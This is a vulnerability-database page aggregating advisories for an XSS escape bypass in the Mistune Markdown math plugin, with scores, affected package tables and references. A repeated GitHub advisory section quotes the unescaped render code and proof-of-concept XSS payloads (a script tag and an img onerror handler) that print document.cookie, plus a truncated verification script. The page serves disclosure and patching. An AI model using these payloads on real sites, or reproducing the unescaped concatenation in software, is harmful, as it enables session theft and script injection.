CVE-2026-44708
Mistune Math Plugin XSS Escape Bypass
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
Mistune Math Plugin XSS Escape Bypass
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44708- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-31993
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
EUVD-2026-31993- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8g87-j6q8-g93x
6.1
Mistune Math Plugin has an XSS Escape Bypass
Summary
The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.
The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's _escape flag entirely.
Details
File: src/mistune/plugins/math.py
def render_inline_math(renderer, text):
# `text` is raw user input — no escape() call anywhere
return r'<span class="math">\(' + text + r"\)</span>"
def render_block_math(renderer, text):
# same issue for block-level $$...$$
return '<div class="math">$$\n' + text + "\n$$</div>\n"
Both functions take text directly from the parsed token and concatenate it into the output string. Neither function:
- calls
escape(text)frommistune.util - checks
renderer._escape - calls
safe_entity(text)or any other sanitisation helper
The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.
PoC
Step 1 — Establish the baseline (escape=True works for plain HTML)
The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:
md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))
Expected and actual output — the script tag is correctly escaped:
<p><script>alert(document.cookie)</script></p>
This confirms escape=True is working for the normal render path.
Step 2 — Craft the exploit payload
Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to render_inline_math():
ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))
Step 3 — Observe the bypass
Actual output — the script tag is emitted raw, unescaped:
<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).
Step 4 — Block math variant ($$...$$)
The same bypass applies to block-level math. Payload:
$$
<img src=x onerror="alert(document.cookie)">
$$
Output:
<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>
The onerror handler fires as soon as the browser tries to load the non-existent image x.
Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown
md = create_markdown(escape=True, plugins=["math"])
# --- baseline ---
bl_file = "baseline_h1.md"
bl_src = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)
# --- exploit ---
ex_file = "exploit_h1.md"
ex_src = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
…
- Record
GHSA-8g87-j6q8-g93x- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44708- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
6.1
Mistune Math Plugin XSS Escape Bypass
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
CVE-2026-44708- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-44708
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
DEBIAN-CVE-2026-44708- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-8g87-j6q8-g93x
6.1
Mistune Math Plugin has an XSS Escape Bypass
Summary
The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.
The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's _escape flag entirely.
Details
File: src/mistune/plugins/math.py
def render_inline_math(renderer, text):
# `text` is raw user input — no escape() call anywhere
return r'<span class="math">\(' + text + r"\)</span>"
def render_block_math(renderer, text):
# same issue for block-level $$...$$
return '<div class="math">$$\n' + text + "\n$$</div>\n"
Both functions take text directly from the parsed token and concatenate it into the output string. Neither function:
- calls
escape(text)frommistune.util - checks
renderer._escape - calls
safe_entity(text)or any other sanitisation helper
The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.
PoC
Step 1 — Establish the baseline (escape=True works for plain HTML)
The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:
md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))
Expected and actual output — the script tag is correctly escaped:
<p><script>alert(document.cookie)</script></p>
This confirms escape=True is working for the normal render path.
Step 2 — Craft the exploit payload
Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to render_inline_math():
ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))
Step 3 — Observe the bypass
Actual output — the script tag is emitted raw, unescaped:
<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).
Step 4 — Block math variant ($$...$$)
The same bypass applies to block-level math. Payload:
$$
<img src=x onerror="alert(document.cookie)">
$$
Output:
<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>
The onerror handler fires as soon as the browser tries to load the non-existent image x.
Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown
md = create_markdown(escape=True, plugins=["math"])
# --- baseline ---
bl_file = "baseline_h1.md"
bl_src = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)
# --- exploit ---
ex_file = "exploit_h1.md"
ex_src = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
…
- Record
GHSA-8g87-j6q8-g93x- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2026-2206
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
PYSEC-2026-2206- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-44708
6.1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
UBUNTU-CVE-2026-44708- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVAZL-88397 No score
CVE-2026-44708 affecting package python-mistune for versions less than 3.2.1-1
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.
- Record
AZL-88397- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20827-1 No score
Security update for python-mistune
This update for python-mistune fixes the following issues
- CVE-2026-33079: ReDoS in
LINK_TITLE_REcan lead to denial of service via a crafted Markdown (bsc#1264347). - CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
- CVE-2026-44896: improper escaping in
render_figurecan lead to attribute injection and XSS (bsc#1264754). - CVE-2026-44897: improper sanitization of user-controlled input in
HTMLRenderer.headingcan lead to XSS (bsc#1264750). - CVE-2026-44898: improper sanitization of user-supplied HTML input in
render_toc_ulcan lead to XSS (bsc#1265052). - CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in
render_block_imagecan lead to CSS injection (bsc#1265053).
- Record
openSUSE-SU-2026:20827-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:21858-1 No score
Security update for python-mistune
This update for python-mistune fixes the following issues
- CVE-2026-33079: ReDoS in
LINK_TITLE_REcan lead to denial of service via a crafted Markdown (bsc#1264347). - CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of service (bsc#1264752).
- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
- CVE-2026-44896: improper escaping in
render_figurecan lead to attribute injection and XSS (bsc#1264754). - CVE-2026-44897: improper sanitization of user-controlled input in
HTMLRenderer.headingcan lead to XSS (bsc#1264750). - CVE-2026-44898: improper sanitization of user-supplied HTML input in
render_toc_ulcan lead to XSS (bsc#1265052). - CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in
render_block_imagecan lead to CSS injection (bsc#1265053).
- Record
SUSE-SU-2026:21858-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mistunePyPI |
through 3.2.0 | None known |
python-mistuneAzure Linux:3 |
before 3.2.1-1 | 3.2.1-1 |
mistuneDebian:12 |
All versions, plus listed versions 2.0.4-12.0.4-23.0.2-13.0.2-23.1.3-13.1.4-13.3.4-1 |
None known |
mistuneDebian:13 |
All versions, plus listed versions 3.1.3-13.1.4-13.3.4-1 |
None known |
mistuneDebian:14 |
All versions, plus listed versions 3.1.3-13.1.4-13.3.4-1 |
None known |
mistunePyPI |
through 3.2.0, plus listed versions 0.1.00.2.00.3.00.3.10.4 Show 44 moreShow less0.4.10.50.5.10.60.70.7.10.7.20.7.30.7.40.80.8.10.8.20.8.30.8.42.0.02.0.0a12.0.0a22.0.0a32.0.0a42.0.0a52.0.0a62.0.0rc12.0.12.0.22.0.32.0.42.0.52.1.03.0.03.0.0a13.0.0a23.0.0a33.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc53.0.13.0.23.1.03.1.13.1.23.1.33.1.4 |
None known |
mistunePyPI |
before 3.2.1, plus listed versions 0.1.00.2.00.3.00.3.10.4 Show 45 moreShow less0.4.10.50.5.10.60.70.7.10.7.20.7.30.7.40.80.8.10.8.20.8.30.8.42.0.02.0.0a12.0.0a22.0.0a32.0.0a42.0.0a52.0.0a62.0.0rc12.0.12.0.22.0.32.0.42.0.52.1.03.0.03.0.0a13.0.0a23.0.0a33.0.0rc13.0.0rc23.0.0rc33.0.0rc43.0.0rc53.0.13.0.23.1.03.1.13.1.23.1.33.1.43.2.0 |
3.2.1 |
mistuneUbuntu:16.04:LTS |
All versions, plus listed versions 0.6-20.7.1-1 |
None known |
mistuneUbuntu:18.04:LTS |
All versions, plus listed versions 0.7.4-10.8-10.8.1-10.8.3-2 |
None known |
mistuneUbuntu:20.04:LTS |
All versions, plus listed versions 0.8.4-10.8.4-2 |
None known |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
mistuneUbuntu:22.04:LTS |
All versions, plus listed versions 0.8.4-40.8.4-52.0.0-1+really0.8.4-1 |
None known |
mistune0Ubuntu:22.04:LTS |
All versions, plus listed versions 0.8.4-10.8.4-2 |
None known |
mistuneUbuntu:24.04:LTS |
All versions, plus listed versions 2.0.4-23.0.2-1 |
None known |
mistune0Ubuntu:24.04:LTS |
All versions, plus listed versions 0.8.4-2 |
None known |
mistuneUbuntu:25.10 |
All versions, plus listed versions 3.0.2-23.1.3-1 |
None known |
mistune0Ubuntu:25.10 |
All versions, plus listed versions 0.8.4-4 |
None known |
mistuneUbuntu:26.10 |
All versions, plus listed versions 3.1.4-1 |
None known |
mistune0Ubuntu:26.10 |
All versions, plus listed versions 0.8.4-6 |
None known |
mistuneUbuntu:26.04:LTS |
All versions, plus listed versions 3.1.3-13.1.4-1 |
None known |
mistune0Ubuntu:26.04:LTS |
All versions, plus listed versions 0.8.4-40.8.4-50.8.4-6 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44708 is a medium vulnerability (CVSS 6.1) in Lepture Mistune, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in python-mistune 3.2.1-1.
References
github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x
github.com/lepture/mistune/releases/tag/v3.2.1
nvd.nist.gov/vuln/detail/CVE-2026-44708
github.com/advisories/GHSA-8g87-j6q8-g93x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44708.json
security-tracker.debian.org/tracker/CVE-2026-44708
Show 18 moreShow less
github.com/lepture/mistune
suse.com/support/update/announcement/2026/suse-su-202621858-1
bugzilla.suse.com/1264347
bugzilla.suse.com/1264750
bugzilla.suse.com/1264751
bugzilla.suse.com/1264752
bugzilla.suse.com/1264754
bugzilla.suse.com/1265052
bugzilla.suse.com/1265053
suse.com/security/cve/CVE-2026-33079
suse.com/security/cve/CVE-2026-33441
suse.com/security/cve/CVE-2026-44708
suse.com/security/cve/CVE-2026-44896
suse.com/security/cve/CVE-2026-44897
suse.com/security/cve/CVE-2026-44898
suse.com/security/cve/CVE-2026-44899
ubuntu.com/security/CVE-2026-44708
cve.org/CVERecord?id=CVE-2026-44708
Left out here: the rest of 2 source descriptions. The JSON record has them.